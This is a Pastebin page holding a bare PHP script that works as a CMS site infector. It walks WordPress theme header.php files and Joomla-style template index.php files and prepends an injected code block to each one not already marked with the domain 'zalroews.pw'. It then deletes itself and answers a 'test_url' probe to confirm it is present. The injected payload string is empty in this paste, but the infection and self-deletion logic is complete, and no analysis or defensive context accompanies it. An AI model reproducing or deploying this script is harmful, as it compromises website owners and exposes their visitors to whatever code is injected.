Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if( isset($_REQUEST["test_url"]) ){
- echo "file test okay";
- }
- $scriptname= str_replace("/", "", $_SERVER["SCRIPT_NAME"]);
- $code = '
- ';
- if (file_exists("wp-content"))
- {
- if (file_exists("wp-content/themes"))
- {
- $dirs = scandir("wp-content/themes");
- foreach ($dirs as $dir)
- {
- if ((is_dir("wp-content/themes/$dir")) AND ($dir !== ".") AND ($dir !== ".."))
- {
- if (file_exists("wp-content/themes/$dir/header.php"))
- {
- $file = fopen("wp-content/themes/".$dir."/header.php", "r");
- $buffer = fread($file, filesize("wp-content/themes/".$dir."/header.php"));
- fclose($file);
- if (eregi('zalroews.pw', $buffer)==0)
- {
- $in = fopen("wp-content/themes/".$dir."/header.php", "w");
- fwrite($in, $code);
- fwrite($in, $buffer);
- fclose($in);
- /*
- $in = fopen("wp-content/themes/$dir/header.php", "a");
- fwrite($in, $code);
- fclose($in);
- */
- }
- }
- }
- }
- }
- }
- if (file_exists("templates"))
- {
- $dirs = scandir("templates");
- foreach ($dirs as $dir)
- {
- if ((is_dir("templates/$dir")) AND ($dir !== ".") AND ($dir !== ".."))
- {
- if (file_exists("templates/".$dir."/index.php"))
- {
- $file = fopen("templates/".$dir."/index.php", "r");
- $buffer = fread($file, filesize("templates/".$dir."/index.php"));
- fclose($file);
- if (eregi('zalroews.pw', $buffer)==0)
- {
- $in = fopen("templates/".$dir."/index.php", "w");
- fwrite($in, $code);
- fwrite($in, $buffer);
- fclose($in);
- }
- }
- }
- }
- }
- unlink($scriptname);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment